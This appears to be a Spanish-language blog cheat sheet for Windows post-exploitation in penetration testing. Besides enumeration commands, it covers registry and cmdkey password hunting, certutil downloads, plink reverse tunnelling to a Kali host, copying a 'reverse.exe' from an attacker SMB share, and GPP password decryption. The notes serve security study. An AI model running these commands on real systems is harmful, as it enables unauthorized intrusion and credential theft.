Tecnicas Fundamentales Windows - Apuntes-W
Enumeración del sistema
1
2
3
4
5
6
7
systeminfo
systeminfo | findstr /B /C: "OS Name" /C: "OS Version" /C: "System Type"
wmic qfe get Caption, Description, HotFixID, InstalledOn #Muestra actualizaciones del sistema
wmic logicaldisk get caption, description, providername #Muestra discos
Enumeración de usuarios
1
2
3
4
5
6
7
8
9
10
11
12
13
whoami
whoami /priv
whoami /groups
net user
net user <USUARIO>
net localgroup
net localgroup <GRUPO>
Enumeración de red
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ip a
ifconfig
route
ip route
aipconfig
ipconfig /all #Información extendida
arp -a
route print
netstat -ano
Búsqueda de archivos
1
2
3
4
5
6
7
#CMD
where /r c:\ file.txt
#Powershell
Get-ChildItem -Path C:\Myfolder -Filter file.txt -Recurs
Búsqueda de credenciales
1
2
3
4
5
6
7
8
9
10
11
#Valores en el registro que contengan la string “password”
reg query HKLM /f password /t REG_SZ /s
#Listar autologon passwords
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
#Lista contraseñas guardadas
cmdkey /list
Enumeración de antivirus
1
2
3
4
5
sc query windefend
sc queryex type= service #Lista servicios activos
netsh advfirewall firewall dump
Enumeración con herramientas automáticas
1
2
3
4
[Release Release refs/heads/master 20230108 · carlospolop/PEASS-ng (github.com)](https://github.com/carlospolop/PEASS-ng/releases/tag/20230108)
[bitsadmin/wesng: Windows Exploit Suggester - Next Generation (github.com)](https://github.com/bitsadmin/wesng)
Funciones básicas
Descarga de archivos
1
certutil.exe -urlcache -f <URL> <OUTPUT_FILE>
Comprobación de permisos sobre un archivo
1
accesschk.exe /accepteula -quvw <user> <Ruta absoluta del archivo>
Ejecución de un programa como otro usuario en Powershell
1
powershell -c "$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('<USER>', $password);Start-Process -FilePath "<PROGRAM.EXE>" -Credential $creds"
Windows Port Forwarding
1
plink.exe -l <KALI_USER> -pw <KALI_USER_PASS> -R <KALI_PORT>:<LOCAL_IP/LOCALHOST_IP>:<LOCAL_PORT> <KALI_IP>
Transferencia de archivos mediante smb
1
2
3
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . #Kali
copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe #Windows
Desencriptado GPP
1
gpp-decrypt "<hash>"
This post is licensed under CC BY 4.0 by the author.